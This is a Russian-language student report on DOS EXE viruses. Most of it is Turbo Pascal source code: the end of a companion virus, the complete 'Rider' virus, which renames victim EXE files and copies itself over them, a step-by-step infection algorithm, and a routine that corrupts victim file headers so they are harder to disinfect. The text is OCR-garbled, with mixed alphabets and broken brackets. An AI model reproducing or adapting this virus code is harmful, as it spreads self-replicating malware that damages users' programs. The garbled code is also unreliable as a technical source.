Доклад: Exe-вирусы
							  Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'
'+TargetCOM+' >NUL'); 
Swap Vectors;
(Увеличиваем на единицу счетчик инфицированных файлов}
Inc(lnfFiles); 
end;
end;
begin {начало процедуры FindTarget}
(Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr); 
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
{Запоминаем имя найденного файла в переменную
TargetFile}
TargetFile:=Sr.Name; 
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем процедуру заражения}
InfectFile; 
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit; 
{Ищем следующий файл по маске}
FindNext(Sr); 
end;
end;
{Основное тело}
begin
Parms:=' '; 
{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For l:=1 To ParamCount Do
Parms:=Parms+' '+ParamStr(l); 
{Ищем жертвы и заражаем их}
FindTarget; 
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';
(Ищем файл с именем стартового файла, но с расширением
ЕХЕ}
FindFirst(TargetFile, AnyRle, Dirlnfo); 
{Если такой файл найден, запускаем его на выполнение)
If DosError=0 Then
begin
Swap Vectors; 
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
Swap Vectors;
end Else
{Если файл не найден, выходим,
не внося в программу изменений)
begin
WriteLn(#13#10, VirName, ' by '.Author); 
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих вирусов и их
"коллег", создающих
файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
тодом переименования несколько совершеннее - для излечения от ви-
руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
рованной программой. 
1. Если в командной строке указаны параметры,
сохранить их в пере-
менную типа String для передачи инфицированной программе. 
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с
найденным ЕХЕ-фай-
лом-жертвой файл с таким же именем и с расширением, которое
выбрано для инфицированной программы (например, OVL - про-
граммный оверлей). 
4. Если такой файл присутствует, программа уже
инфицирована - пе-
реходим к пункту 7. 
5. Переименовать найденный файл-жертву (ЕХЕ) в
файл с таким же име-
нем, но с расширением, выбранным для инфицированной программы. 
6. С помощью командного процессора скопировать
файл, из которого по-
лучено управление, в файл с именем жертвы и расширением жертвы. 
7. Найти в каталоге, из которого получено
управление, файл с именем
стартовой программы, но с расширением, выбранным для инфици-
рованной - это и будет зараженная программа, которую в данный
момент необходимо запустить на исполнение. 
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на СОМ (ни
в коем случае не
на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!). 
10. Процедурой Ехес загрузить и выполнить
переименованный файл -
то есть выполнить инфицированную программу. 
11. Вернуть СОМ-файлу с инфицированной программой
выбранное
расширение, то есть превратить его опять в неисполняемый. 
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен
ниже. Вирус Rider
написан очень просто и доступно. За сеанс работы он заражает один
ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма
прост: файл-жертва переписывается в файл с расширением OVL (овер-
лейный файл), а на его место с помощью командного процессора копи-
руется вирусный код. При запуске происходит заражение только что
найденного ЕХЕ-файла, затем вирусный код переименовывается
в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-
ние. Когда оригинал отработал, происходит переименование в обратном
порядке. С защищенного от записи диска программа не запустится, она
выдаст сообщение, что диск защищен от записи. 
В представленном здесь виде вирус легко
обезвредить, достаточно про-
сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-
чение, в вирусе может быть использован такой прием: 
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0); 
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При использовании этой процедуры надо учитывать,
что заражаемая
и запускаемая на исполнение программа должна быть связана с пере-
менной Prog типа File, описанной в основном модуле. Суть процедуры
состоит в том, что из заражаемой программы считываются 10 байт и ко-
дируются операцией Not. ЕХЕ-программа становится неработоспособ-
ной. Запускать эту процедуру нужно не только перед прогоном ориги-
нала, но и после него. 
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High Heap Limit Ob } 
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS; 
Const
Fail='Cannot execute '^13#10'Disk is write-protected'; 
{Расширения файлов, которые будем использовать}
Ovr='.OWL'; 
Ovl='.OVL';
Ехе=.ЕХЕ';
Var
Dirlnfo : SearchRec; 
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
(Процедура для проверки диска на Read Only)
procedure CheckRO; 
begin
Assign(Ren, #$FF); 
ReWrite(Ren);
Erase(Ren);
If lOResult <> 0 Then
{Если диск защищен от записи, то ответ 'Access denied'}
begin
WriteLn(Fail);
Halt(5);
end;
end;
(Процедура прогонки оригинала}
procedure ExecReal; 
begin
{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, Dirlnfo); 
If DosError <> 0 Then
(Если не нашли}
begin
WriteLn('Virus RIDER. Let's go on riding!');
WriteLn('l beg your pardon, your infected file cannot be executed.');
(Выход с DosError=<t>ann не найден)
Halt(18); 
end;
{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe); 
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в ЕХЕ}
Assign(Ren, OurName+Ovl); 
ReName(Ren, OurName+Exe);
(И запускаем его}
Swap Vectors; 
Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);
Swap Vectors;
{А теперь возвращаем все на место)
Assign(Ren, OurName+Exe); 
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
(Процедура заражения}
procedure Infect; 
begin
{Переименовываем жертву в OVL}
Assign(Ren, Victim); 
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}
SwapVectors; 
Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');
SwapVectors;
end;
{Процедура поиска жертвы}
procedure FindFile; 
begin
{В текущем каталоге ищем ЕХЕ-файл}
FindFirst('*EXE', AnyFile, Dirlnfo); 
If DosError=0 Then
{И если он найден}
begin 
{Запоминаем имя жертвы}
Victim:=Dirlnfo.Name; 
{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)-4); 
{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr); 
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}
procedure I nit; 
begin
(Командная строка}
CmdLine:="; 
{Полное имя нашей программы}
OurProg:=ParamStr(0); 
{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4); 
For l:=1 To ParamCount Do
begin 
{Запоминаем параметры}
CmdLine:=ParamStr(l)+' '; 
end;
end;
{Основная подпрограмма}
begin 
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ' ');
end;
{Инициализируемся}
Init; 
(Проверка диска на R/О}
CheckRO; 
{Ищем и заражаем}
FindFile; 
{Загружаем оверлей}
ExecReal; 
end.
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми "хитрыми".
Поскольку такой вирус вне-
дряется в инфицируемую программу, это дает ему много преимуществ
перед всеми вышеописанными вирусами: на диске не появляются лиш-
ние файлы, нет забот с копированием и переименованием, кроме того,
усложняется лечение инфицированных файлов. 


